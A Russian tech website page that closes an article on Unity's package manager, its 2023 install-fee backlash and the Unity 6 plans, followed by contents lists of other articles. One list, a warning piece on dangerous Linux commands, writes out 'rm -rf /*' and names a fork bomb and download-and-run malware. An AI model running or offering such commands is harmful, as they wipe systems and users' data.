И, наконец, улучшили менеджер пакетов, чтобы подключать модули стало удобнее. Например, появились дочерние ассеты и вложенные проекты внутри модулей. Так, в HDRP доступна вкладка Samples, где можно ознакомиться со всеми новыми технологиями по фирменным проектам Unity.

Unity 6 и планы на будущее

Прошлой осенью на фоне рецессии в игровой индустрии Unity попытались провести оптимизацию бизнеса. Компания оставалась убыточной все время с момента основания, но раньше инвестиции в лидера отрасли текли рекой и аппетиты корпоративных боссов только росли — за последние годы среди купленных студий оказалась даже Weta Digital, знаменитая кузница эффектов для кино, включая «Властелин Колец» и «Аватар». А теперь, во время кризиса, от всех лишних активов пришлось резко избавляться.

Чтобы быстро покрыть расходы, в сентябре 2023 года боссы Unity решили ввести налог на каждую установку и даже переустановку игр, включая бесплатные и уже вышедшие, — таким образом многие проекты стали бы убыточными.

Идея подверглась серьезной критике, ее быстро отменили, уволили CEO Джона Ричителло и предложили более разумные варианты оплаты для клиентов. Но негатив не удалось остановить — тысячи разработчиков восприняли это как мотивацию искать замену для монополии. Крупные студии стараются перейти на Unreal Engine, а инди-разработчики освоили полностью бесплатный Godot Engine — аналог Blender в мире игровых движков. Многие боятся использовать движок «Юнити» для создания игр в будущем, опасаясь, что ситуация повторится.

Решение для Unity оказалось очевидным: теперь компания будет фокусироваться на игровом подразделении, обещает стать ближе к пользователям и даже вернет старый формат названий. Следующей версией станет Unity 6, а вовсе не Unity 2024. Наконец-то среди нововведений то, что пользователи действительно просят, — оптимизация больших уровней и улучшенное освещение. Кажется, что, несмотря на пережитый кризис, впереди у Unity светлое будущее.

Источник: www.mvideo.ru

20 скрытых функций Windows 11

В этой статье мы расскажем о двадцати скрытых функций Windows 11, о которых вы могли не знать...

Pежим бога в Windows 11 и зачем он нужен

Сегодня мы поговорим о функции, которая позволяет получить доступ к огромному количеству настроек вашей операционной системы — режим бога в Windows 11. Этот режим давно известен опытным пользователям Windows, и сейчас мы подробно расскажем, что это такое и как его активировать в Windows 11.

Предыдущая 1 2 3 4 5 Следующая

Шпаргалка по CMD командам в Windows

Общие команды CMD

Сетевые команды CMD

Команды для управления процессами

Команды для управления файловой системой

Команды для управления пользователями

Команды для управления безопасностью

Команды для диагностики и устранения неполадок

Команды для скриптинга и автоматизации

Команды для управления сетевыми подключениями

Команды для управления печатью

Дополнительные команды в Windows

Маршрутизатор и коммутатор, в чем разница?

Что такое маршрутизация и зачем появились маршрутизаторы

Коммутатор, маршрутизатор, роутер

Основные функции

Разница между коммутатором и маршрутизатором

Где используется маршрутизатор и коммутатор?

Как подключиться к маршрутизатору и коммутатору?

Базовые настройки маршрутизатора и коммутатора

Современные тенденции: L2 и L3 коммутаторы

21 фича современного C++

1. Разделители разрядов чисел

2. Псевдонимы типов

3. Пользовательские литералы

4. Унифицированная инициализация и инициализация нестатических членов

5. std::initializer_list

6. auto & decltype

7. Циклы for по диапазону

8. Умные указатели

9. nullptr

10. Строго типизированные перечисления

11. Приведение типов

12. Move-семантика

13. Универсальные ссылки

14. Шаблоны с переменным количеством аргументов

15. constexpr

16. Удаленные и дефолтные функции

17. Делегирование конструкторов

18. Лямбда-выражения

19. Операторы ветвления с инициализатором

20. std::tuple

21. Выведение аргумента шаблона класса

Пара слов в заключение

10 опасных команд Linux, будьте с ними осторожны

1. rm -rf /*

2. Перезапишите свой раздел

3. Переместить все в пустоту

4. Отформатируйте жесткий диск

5. Вилочная бомба

6. Перезапишите важные файлы конфигурации

7. Замените раздел мусорными данными

8. Откройте свою систему для всех

9. Загрузите и запустите вредоносный контент

10. Замаскированные команды

Подведение итогов

15 бесполезных, но весёлых команд Linux

sl — паровоз вместо «ls»

cowsay — говорящая корова в терминале

fortune — генератор случайной мудрости

yes — бесконечное согласие

rev — обратный вывод строк

figlet — текст большими буквами

toilet — расширенная версия figlet

cmatrix — эффект «Матрицы» в терминале

lolcat — радужная раскраска вывода

espeak — озвучивание текста голосом

asciiquarium — аквариум в текстовом режиме

oneko — котёнок, гоняющийся за курсором

factor — разложение числа на множители

xeyes — забавные глазки на экране

watch "echo -e 'a'" — периодический звуковой сигнал

Основные классы объектов в Unity

Основные типы классов в Unity

Автомобили: классы и их особенности

Здания: типы и использование классов

Персонажи: классы и анимации

Оружие: классы и их роли

Продвинутые классы объектов Unity

Unity — что это такое и в чем его особенности